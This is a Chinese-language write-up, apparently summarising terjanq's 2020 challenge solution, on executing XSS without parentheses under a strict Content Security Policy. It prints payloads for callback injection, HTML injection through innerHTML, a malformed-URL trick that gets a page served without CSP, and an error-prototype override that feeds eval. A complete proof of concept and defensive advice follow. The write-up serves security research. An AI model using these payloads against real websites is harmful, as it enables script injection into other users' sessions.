无括号XSS任意代码执行
字数 1206 2025-08-19 12:41:58
无括号XSS任意代码执行技术研究
前言
无括号XSS向量近年来受到安全研究人员的广泛关注。本文详细探讨了在严格内容安全策略(CSP)限制下实现无括号XSS的技术细节,包括挑战设计、解决方案和替代方法。
XSS挑战设计
挑战目标:在严格CSP策略下,仅使用有限字符集[a-zA-Z$_=.\u007f-\uffff]执行任意XSS。
CSP策略:
default-src 'self';
script-src 'self';
该策略阻止了:
- 内联代码执行(如
location=name,<svg/onload=alert()>) - 字符串评估器(如
eval("alert()"),Function("alert()")())
解决方案详解
1. 控制回调函数中的方法
通过URL参数注入回调函数:
%26cb==alert
2. 利用Unicode行终止符
使用U+2028和U+2029作为JavaScript行终止符:
eval('x=123\u2028alert(x)') // 将执行alert(123)
3. 将任意HTML注入页面
在不使用window.name或location.href的情况下,使用以下技术:
document.body.innerHTML = document.referrer;
document.body.innerHTML = document.body.innerText;
示例注入:
4. 绕过严格CSP的关键技术
反向代理利用
通过构造特殊请求使反向代理不转发请求,从而避免CSP头的设置:
/%2f→ "Not Found"/%GG→ "Bad Request"(无法URL解码)
无CSP的iframe技术
document.body.innerHTML = "<iframe name=x src=%GG>";
x.eval("alert(location.href)");
关键问题:
- 注入的iframe初始状态为
about:blank,会继承父窗口的CSP - 需要等待iframe加载完成
实现iframe加载检测
document.body.innerHTML = "<iframe id=i src=data:,1>";
i.onload = atob; // 会抛出调用错误
错误分析:
- Chrome错误:
Uncaught TypeError: - Firefox错误:
TypeError:
利用错误原型覆盖
TypeError.prototype.name = "-alert(1337);var Uncaught//";
该技巧使两个浏览器的错误消息都包含可执行代码。
最终执行
将onerror设置为iframe的eval方法:
onerror = i.contentWindow.eval
5. 完整PoC
// 控制回调
%26cb==alert
// HTML注入
document.body.innerHTML = "<iframe name=x src=%GG>";
// 错误处理与执行
x.onload = function() {
TypeError.prototype.name = "-alert(1337);var Uncaught//";
throw new TypeError;
};
x.onerror = x.contentWindow.eval;
替代解决方案
使用setTimeout替代eval的技术:
document.body.innerHTML = "<iframe id=i src=data:,1>";
i.onload = setTimeout;
关键发现:
- 当iframe处于空白状态时,可以在窗口上定义其
onload事件 - 仅在同源iframe中有效,违反同源策略(SOP)
技术要点总结
- 字符限制绕过:利用Unicode行终止符在有限字符集下构造有效JavaScript
- CSP绕过:通过反向代理错误避免CSP头设置
- DOM操作:使用
innerHTML和innerText链实现HTML注入 - 错误处理利用:覆盖错误原型构造可执行代码
- 执行上下文:利用iframe的加载状态和继承特性
防御建议
- 对所有响应设置严格的CSP头
- 正确处理URL编码和特殊字符
- 限制回调函数的可控性
- 监控和限制原型修改操作
- 对反向代理配置进行严格测试,避免错误请求绕过
参考文献
- 原文作者:terjanq
- 原文地址:[原始链接]
- 研究时间:2020年8月
该技术展示了在极端限制条件下实现XSS的创造性方法,对现代Web应用安全防护提出了新的挑战。